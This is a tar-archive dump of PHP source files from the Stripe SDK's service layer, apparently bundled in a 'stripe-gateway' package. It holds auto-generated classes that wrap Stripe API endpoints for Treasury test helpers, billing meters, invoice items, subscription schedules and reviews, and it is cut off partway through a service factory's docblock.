@param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\OutboundTransfer */ public function returnOutboundTransfer($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/test_helpers/treasury/outbound_transfers/%s/return', $id), $params, $opts); } /** * Updates a test mode created OutboundTransfer with tracking details. The * OutboundTransfer must not be cancelable, and cannot be in the * <code>canceled</code> or <code>failed</code> states. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\OutboundTransfer */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/test_helpers/treasury/outbound_transfers/%s', $id), $params, $opts); } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/TestHelpers/Treasury/InboundTransferService.php��������������������������0000644�����������������00000004531�14720677707�0023120 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\TestHelpers\Treasury; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class InboundTransferService extends \Stripe\Service\AbstractService { /** * Transitions a test mode created InboundTransfer to the <code>failed</code> * status. The InboundTransfer must already be in the <code>processing</code> * state. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\InboundTransfer */ public function fail($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/test_helpers/treasury/inbound_transfers/%s/fail', $id), $params, $opts); } /** * Marks the test mode InboundTransfer object as returned and links the * InboundTransfer to a ReceivedDebit. The InboundTransfer must already be in the * <code>succeeded</code> state. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\InboundTransfer */ public function returnInboundTransfer($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/test_helpers/treasury/inbound_transfers/%s/return', $id), $params, $opts); } /** * Transitions a test mode created InboundTransfer to the <code>succeeded</code> * status. The InboundTransfer must already be in the <code>processing</code> * state. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\InboundTransfer */ public function succeed($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/test_helpers/treasury/inbound_transfers/%s/succeed', $id), $params, $opts); } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/TestHelpers/Treasury/ReceivedCreditService.php���������������������������0000644�����������������00000001670�14720677707�0022677 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\TestHelpers\Treasury; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class ReceivedCreditService extends \Stripe\Service\AbstractService { /** * Use this endpoint to simulate a test mode ReceivedCredit initiated by a third * party. In live mode, you can’t directly create ReceivedCredits initiated by * third parties. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\ReceivedCredit */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/test_helpers/treasury/received_credits', $params, $opts); } } ������������������������������������������������������������������������stripe-gateway/lib/Service/TestHelpers/Treasury/ReceivedDebitService.php����������������������������0000644�����������������00000001663�14720677707�0022516 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\TestHelpers\Treasury; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class ReceivedDebitService extends \Stripe\Service\AbstractService { /** * Use this endpoint to simulate a test mode ReceivedDebit initiated by a third * party. In live mode, you can’t directly create ReceivedDebits initiated by third * parties. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\ReceivedDebit */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/test_helpers/treasury/received_debits', $params, $opts); } } �����������������������������������������������������������������������������stripe-gateway/lib/Service/TestHelpers/Treasury/TreasuryServiceFactory.php��������������������������0000644�����������������00000002047�14720677707�0023163 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\TestHelpers\Treasury; /** * Service factory class for API resources in the Treasury namespace. * * @property InboundTransferService $inboundTransfers * @property OutboundPaymentService $outboundPayments * @property OutboundTransferService $outboundTransfers * @property ReceivedCreditService $receivedCredits * @property ReceivedDebitService $receivedDebits */ class TreasuryServiceFactory extends \Stripe\Service\AbstractServiceFactory { /** * @var array<string, string> */ private static $classMap = [ 'inboundTransfers' => InboundTransferService::class, 'outboundPayments' => OutboundPaymentService::class, 'outboundTransfers' => OutboundTransferService::class, 'receivedCredits' => ReceivedCreditService::class, 'receivedDebits' => ReceivedDebitService::class, ]; protected function getServiceClass($name) { return \array_key_exists($name, self::$classMap) ? self::$classMap[$name] : null; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/TestHelpers/Treasury/OutboundPaymentService.php��������������������������0000644�����������������00000005766�14720677707�0023165 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\TestHelpers\Treasury; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class OutboundPaymentService extends \Stripe\Service\AbstractService { /** * Transitions a test mode created OutboundPayment to the <code>failed</code> * status. The OutboundPayment must already be in the <code>processing</code> * state. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\OutboundPayment */ public function fail($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/test_helpers/treasury/outbound_payments/%s/fail', $id), $params, $opts); } /** * Transitions a test mode created OutboundPayment to the <code>posted</code> * status. The OutboundPayment must already be in the <code>processing</code> * state. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\OutboundPayment */ public function post($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/test_helpers/treasury/outbound_payments/%s/post', $id), $params, $opts); } /** * Transitions a test mode created OutboundPayment to the <code>returned</code> * status. The OutboundPayment must already be in the <code>processing</code> * state. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\OutboundPayment */ public function returnOutboundPayment($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/test_helpers/treasury/outbound_payments/%s/return', $id), $params, $opts); } /** * Updates a test mode created OutboundPayment with tracking details. The * OutboundPayment must not be cancelable, and cannot be in the * <code>canceled</code> or <code>failed</code> states. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\OutboundPayment */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/test_helpers/treasury/outbound_payments/%s', $id), $params, $opts); } } ����������stripe-gateway/lib/Service/TestHelpers/RefundService.php��������������������������������������������0000644�����������������00000001511�14720677707�0017415 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\TestHelpers; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class RefundService extends \Stripe\Service\AbstractService { /** * Expire a refund with a status of <code>requires_action</code>. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Refund */ public function expire($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/test_helpers/refunds/%s/expire', $id), $params, $opts); } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/TestHelpers/ConfirmationTokenService.php���������������������������������0000644�����������������00000001474�14720677707�0021633 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\TestHelpers; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class ConfirmationTokenService extends \Stripe\Service\AbstractService { /** * Creates a test mode Confirmation Token server side for your integration tests. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\ConfirmationToken */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/test_helpers/confirmation_tokens', $params, $opts); } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/SubscriptionScheduleService.php������������������������������������������0000644�����������������00000010261�14720677707�0020073 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class SubscriptionScheduleService extends \Stripe\Service\AbstractService { /** * Retrieves the list of your subscription schedules. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\SubscriptionSchedule> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/subscription_schedules', $params, $opts); } /** * Cancels a subscription schedule and its associated subscription immediately (if * the subscription schedule has an active subscription). A subscription schedule * can only be canceled if its status is <code>not_started</code> or * <code>active</code>. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SubscriptionSchedule */ public function cancel($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/subscription_schedules/%s/cancel', $id), $params, $opts); } /** * Creates a new subscription schedule object. Each customer can have up to 500 * active or scheduled subscriptions. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SubscriptionSchedule */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/subscription_schedules', $params, $opts); } /** * Releases the subscription schedule immediately, which will stop scheduling of * its phases, but leave any existing subscription in place. A schedule can only be * released if its status is <code>not_started</code> or <code>active</code>. If * the subscription schedule is currently associated with a subscription, releasing * it will remove its <code>subscription</code> property and set the subscription’s * ID to the <code>released_subscription</code> property. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SubscriptionSchedule */ public function release($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/subscription_schedules/%s/release', $id), $params, $opts); } /** * Retrieves the details of an existing subscription schedule. You only need to * supply the unique subscription schedule identifier that was returned upon * subscription schedule creation. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SubscriptionSchedule */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/subscription_schedules/%s', $id), $params, $opts); } /** * Updates an existing subscription schedule. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SubscriptionSchedule */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/subscription_schedules/%s', $id), $params, $opts); } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/InvoiceItemService.php���������������������������������������������������0000644�����������������00000006321�14720677707�0016147 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class InvoiceItemService extends \Stripe\Service\AbstractService { /** * Returns a list of your invoice items. Invoice items are returned sorted by * creation date, with the most recently created invoice items appearing first. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\InvoiceItem> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/invoiceitems', $params, $opts); } /** * Creates an item to be added to a draft invoice (up to 250 items per invoice). If * no invoice is specified, the item will be on the next invoice created for the * customer specified. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\InvoiceItem */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/invoiceitems', $params, $opts); } /** * Deletes an invoice item, removing it from an invoice. Deleting invoice items is * only possible when they’re not attached to invoices, or if it’s attached to a * draft invoice. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\InvoiceItem */ public function delete($id, $params = null, $opts = null) { return $this->request('delete', $this->buildPath('/v1/invoiceitems/%s', $id), $params, $opts); } /** * Retrieves the invoice item with the given ID. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\InvoiceItem */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/invoiceitems/%s', $id), $params, $opts); } /** * Updates the amount or description of an invoice item on an upcoming invoice. * Updating an invoice item is only possible before the invoice it’s attached to is * closed. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\InvoiceItem */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/invoiceitems/%s', $id), $params, $opts); } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/ApplePayDomainService.php������������������������������������������������0000644�����������������00000004225�14720677707�0016600 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class ApplePayDomainService extends \Stripe\Service\AbstractService { /** * List apple pay domains. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\ApplePayDomain> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/apple_pay/domains', $params, $opts); } /** * Create an apple pay domain. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\ApplePayDomain */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/apple_pay/domains', $params, $opts); } /** * Delete an apple pay domain. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\ApplePayDomain */ public function delete($id, $params = null, $opts = null) { return $this->request('delete', $this->buildPath('/v1/apple_pay/domains/%s', $id), $params, $opts); } /** * Retrieve an apple pay domain. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\ApplePayDomain */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/apple_pay/domains/%s', $id), $params, $opts); } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/EphemeralKeyService.php��������������������������������������������������0000644�����������������00000002667�14720677707�0016320 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class EphemeralKeyService extends \Stripe\Service\AbstractService { /** * Invalidates a short-lived API key for a given resource. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\EphemeralKey */ public function delete($id, $params = null, $opts = null) { return $this->request('delete', $this->buildPath('/v1/ephemeral_keys/%s', $id), $params, $opts); } /** * Creates a short-lived API key for a given resource. * * @param null|array $params * @param null|array|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\EphemeralKey */ public function create($params = null, $opts = null) { if (!$opts || !isset($opts['stripe_version'])) { throw new \Stripe\Exception\InvalidArgumentException('stripe_version must be specified to create an ephemeral key'); } return $this->request('post', '/v1/ephemeral_keys', $params, $opts); } } �������������������������������������������������������������������������stripe-gateway/lib/Service/Billing/MeterService.php�������������������������������������������������0000644�����������������00000007332�14720677707�0016373 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Billing; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class MeterService extends \Stripe\Service\AbstractService { /** * Retrieve a list of billing meters. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Billing\Meter> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/billing/meters', $params, $opts); } /** * Retrieve a list of billing meter event summaries. * * @param string $parentId * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Billing\MeterEventSummary> */ public function allEventSummaries($parentId, $params = null, $opts = null) { return $this->requestCollection('get', $this->buildPath('/v1/billing/meters/%s/event_summaries', $parentId), $params, $opts); } /** * Creates a billing meter. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Billing\Meter */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/billing/meters', $params, $opts); } /** * Deactivates a billing meter. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Billing\Meter */ public function deactivate($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/billing/meters/%s/deactivate', $id), $params, $opts); } /** * Reactivates a billing meter. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Billing\Meter */ public function reactivate($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/billing/meters/%s/reactivate', $id), $params, $opts); } /** * Retrieves a billing meter given an ID. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Billing\Meter */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/billing/meters/%s', $id), $params, $opts); } /** * Updates a billing meter. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Billing\Meter */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/billing/meters/%s', $id), $params, $opts); } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Billing/MeterEventAdjustmentService.php����������������������������������0000644�����������������00000001440�14720677707�0021426 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Billing; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class MeterEventAdjustmentService extends \Stripe\Service\AbstractService { /** * Creates a billing meter event adjustment. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Billing\MeterEventAdjustment */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/billing/meter_event_adjustments', $params, $opts); } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Billing/MeterEventService.php��������������������������������������������0000644�����������������00000001366�14720677707�0017376 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Billing; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class MeterEventService extends \Stripe\Service\AbstractService { /** * Creates a billing meter event. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Billing\MeterEvent */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/billing/meter_events', $params, $opts); } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Billing/BillingServiceFactory.php����������������������������������������0000644�����������������00000001422�14720677707�0020221 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Billing; /** * Service factory class for API resources in the Billing namespace. * * @property MeterEventAdjustmentService $meterEventAdjustments * @property MeterEventService $meterEvents * @property MeterService $meters */ class BillingServiceFactory extends \Stripe\Service\AbstractServiceFactory { /** * @var array<string, string> */ private static $classMap = [ 'meterEventAdjustments' => MeterEventAdjustmentService::class, 'meterEvents' => MeterEventService::class, 'meters' => MeterService::class, ]; protected function getServiceClass($name) { return \array_key_exists($name, self::$classMap) ? self::$classMap[$name] : null; } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/BalanceTransactionService.php��������������������������������������������0000644�����������������00000003346�14720677707�0017473 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class BalanceTransactionService extends \Stripe\Service\AbstractService { /** * Returns a list of transactions that have contributed to the Stripe account * balance (e.g., charges, transfers, and so forth). The transactions are returned * in sorted order, with the most recent transactions appearing first. * * Note that this endpoint was previously called “Balance history” and used the * path <code>/v1/balance/history</code>. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\BalanceTransaction> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/balance_transactions', $params, $opts); } /** * Retrieves the balance transaction with the given ID. * * Note that this endpoint previously used the path * <code>/v1/balance/history/:id</code>. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\BalanceTransaction */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/balance_transactions/%s', $id), $params, $opts); } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/ReviewService.php��������������������������������������������������������0000644�����������������00000003707�14720677707�0015202 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class ReviewService extends \Stripe\Service\AbstractService { /** * Returns a list of <code>Review</code> objects that have <code>open</code> set to * <code>true</code>. The objects are sorted in descending order by creation date, * with the most recently created object appearing first. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Review> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/reviews', $params, $opts); } /** * Approves a <code>Review</code> object, closing it and removing it from the list * of reviews. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Review */ public function approve($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/reviews/%s/approve', $id), $params, $opts); } /** * Retrieves a <code>Review</code> object. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Review */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/reviews/%s', $id), $params, $opts); } } ���������������������������������������������������������stripe-gateway/lib/Service/CoreServiceFactory.php���������������������������������������������������0000644�����������������00000016674�14720677707�0016170 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\Service; /** * Service factory class for API resources in the root namespace. * * @property OAuthService $oauth * // Doc: The beginning of the section generated from our OpenAPI spec * @property AccountLinkService $accountLinks * @property AccountService $accounts * @property AccountSessionService $accountSessions * @property ApplePayDomainService $applePayDomains * @property ApplicationFeeService $applicationFees * @property Apps\AppsServiceFactory $apps * @property BalanceService $balance * @property BalanceTransactionService $balanceTransactions * @property Billing\BillingServiceFactory $billing * @property BillingPortal\BillingPortalServiceFactory $billingPortal * @property ChargeService $charges * @property Checkout\CheckoutServiceFactory $checkout * @property Climate\ClimateServiceFactory $climate * @property ConfirmationTokenService $confirmationTokens * @property CountrySpecService $countrySpecs * @property CouponService $coupons * @property CreditNoteService $creditNotes * @property CustomerService $customers * @property CustomerSessionService $customerSessions * @property DisputeService $disputes * @property Entitlements\EntitlementsServiceFactory $entitlements * @property EphemeralKeyService $ephemeralKeys * @property EventService $events * @property ExchangeRateService $exchangeRates * @property FileLinkService $fileLinks * @property FileService $files * @property FinancialConnections\FinancialConnectionsServiceFactory $financialConnections * @property Forwarding\ForwardingServiceFactory $forwarding * @property Identity\IdentityServiceFactory $identity * @property InvoiceItemService $invoiceItems * @property InvoiceService $invoices * @property Issuing\IssuingServiceFactory $issuing * @property MandateService $mandates * @property PaymentIntentService $paymentIntents * @property PaymentLinkService $paymentLinks * @property PaymentMethodConfigurationService $paymentMethodConfigurations * @property PaymentMethodDomainService $paymentMethodDomains * @property PaymentMethodService $paymentMethods * @property PayoutService $payouts * @property PlanService $plans * @property PriceService $prices * @property ProductService $products * @property PromotionCodeService 